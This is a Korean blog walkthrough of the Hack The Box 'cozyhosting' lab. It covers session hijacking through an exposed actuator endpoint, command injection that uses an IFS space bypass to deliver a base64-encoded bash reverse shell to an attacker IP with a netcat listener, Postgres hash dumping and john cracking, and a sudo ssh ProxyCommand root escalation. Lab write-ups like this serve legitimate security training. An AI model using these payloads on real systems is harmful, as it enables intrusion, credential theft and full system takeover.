Oh! JUN
[Hack The Box] cozyhosting 본문
1. 정보 수집
1.1. nmap을 활용한 스캔
nmap -sV 10.10.11.230 -T5
IP Address | Ports Open |
10.10.11.230 | TCP: 22, 80 |
dirsearch -u http://cozyhosting.htb/
dirsearch 도구를 사용해서 웹 사이트에 존재하는 여러가지 디렉터리를 찾았고 그 중 '/actuator/sessions' 디렉터리를 확인해볼것이다.
sudo mousepad /etc/hosts
'/actuator/sessions' 디렉터리를 확인하기전에 10.10.11.230(공격대상)을 cozyhosting.htb로 매핑해줘야 웹 브라우저를 통해 접근이 가능하다.
2. 초기 접근
2.1. 세션 탈취
http://cozyhosting.htb/actuator/sessions
'/actuator/sessions' 디렉터리에 접근하면 세션 값을 확인할 수 있고 밑에서 해당 세션을 통해 로그인을 시도할 것이다.
2.2. Command Injection
Cookie: JSESSIONID=EEFD4DB0661F959332F0F8EF0EEBEF14
'burp suite'도구를 사용해서 로그인 페이지를 캡쳐하고 JSESSIONID를 'kanderson'의 SESSIONID로 설정해주면 된다.(SESSIONID는 변경되므로 위의 이미지와 무관하다.)
http://cozyhosting.htb/admin
해당 계정의 Dashboard로 이동하면서 로그인을 성공한것을 확인할 수 있다. 다음으로 Connection Settings의 input(Hostname, Username)을 확인해 볼 것이다.
host=127.0.0.1&username='
해당 메시지는 bash 셸 스크립트에서 종료되지 않은 따옴표(') 때문에 발생하는 문제를 나타냅니다. 즉 command injection이 발생할 수 있음을 알 수 있다.
host=127.0.0.1&username=echo+"bash+-i+>%26+/dev/tcp/10.10.14.63/9001+0>%261"+|+bash
'echo "bash -i >& /dev/tcp/10.10.14.63/9001 0>&1" | base' 명령어는 '리버스 셸(reverse shell)'을 생성하는 bash 명령어다. 이 명령어를 실행하면, 현재 시스템에서 새로운 bash 셸이 생성되고, 이 셸의 입력과 출력이 10.10.14.63의 9001 포트로 리디렉션된다.
해당 명령어의 결과로는 빈공간(space)를 필터링하고 있음을 알 수 있다.
echo "bash -i >& /dev/tcp/10.10.14.63/9001 0>&1" | base64 -w 0
"bash -i >& /dev/tcp/10.10.14.63/9001 0>&1" 명령어를 base64로 인코딩한다.
;echo${IFS%??}"<reverse shell payload>"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
;echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42My85MDAxIDA+JjEK"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
base64 인코딩된 reverse shell payload를 '| base64 -d' 디코딩 시키고, '| bash' 쉘로 실행시킨다.
nc -lvp 9001
이때, reverse 시킬 IP의 포트를 열어줘야 한다. 해당 IP 주소는 공격자의 IP의 포트다.
ls -alh
'id' 현재 권한은 일반 사용자 권한이다. root 권한으로 상승하기위한 방법을 찾아봐야 한다. cloudhosting-0.0.1.jar 자바 파일 포맷이 힌트가 될 것으로 에측있다.
2.3 cloudhosting-0.0.1.jar 분석
python3 -m http.server 4321
http.server의 4321 포트를 열어서 공격자(kali)에서 해당 .jar 파일을 다운받고 분석할 것이다.
wget http://10.10.11.230:4321/cloudhosting-0.0.1.jar
공격자(kail)에서 .jar 파일을 다운받는다.
jd-gui cloudhosting-0.0.1.jar
'jd-gui'는 .jar 파일을 분석할 수 있는 도구이다. 'application.properties' 는 일반적으로 스프링 부트(Spring Boot)와 같은 Java 기반 애플리케이션에서 사용하는 설정 파일이다. 해당 파일에서 DB(postgres)정보를 알 수 있었고 DB에 접속할것이다.
psql -h 127.0.0.1 -U postgres
reverse shell로 연결되어 있는 공격 대상에서 psql 접속한다.
\d
'/d'는현재 데이터베이스에 있는 모든 테이블, 뷰, 시퀀스, 인덱스 등의 목록을 조회한다.
select * from users;
'users' 테이블의 모든 정보를 조회했는데 hash된 패스워드를 확인할 수 있다.
2.4. Hash PW Crack
sudo mousepad hashes.txt
패스워드를 hashes.txt 파일에 복사 붙여넣기한다.
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
cat ~/.john/john.pot
'john' 도구를 사용해서 'hashes.txt'에 hash된 패스워드를 크래킹할 수 있다. 해당 이미지는 사전에 크랙하여 남아있는 패스워드가 없어서 출력되는 메시지이다.
ls -al /home
'/home' 디렉토리는 일반 사용자 계정의 홈 디렉터리를 저장하기 위한 장소로 사용된다. 'josh' 계정을 확인할 수 있다.
su josh
'josh' 계정으로 변경해볼것이다. 사용되는 패스워드는 'john'도구를 사용해서 크래킹한 패스워드이다.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Python을 사용하여 새로운 bash 셸을 생성하는 명령어이다.
'user.txt' 파일을 확인해보니 해당 flag를 확인할 수 있다.
3. 권한 상승
3.1. SSH을 통한 권한 상승
sudo -l
현재 사용자가 sudo 명령어를 사용하여 실행할 수 있는 명령어 목록을 보여준다.
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
ssh에서 sudo 권한으로 새로운 셸을 획득하여 시스템에서 권한 상승을 할수 있다.
find / -name "root.txt" 2>/dev/null
'root.txt' flag 정보를 마지막으로 확인할 수 있다.
'문제풀이 > Hack The Box' 카테고리의 다른 글
[Hack The Box] bizness (0) | 2024.02.19 |
---|---|
[Hack The Box] codify (0) | 2024.02.16 |
[Hack The Box] analytics (0) | 2024.02.14 |
[Hack The Box] devvortex (0) | 2024.02.14 |
[Hack The Box] Keeper (1) | 2024.02.08 |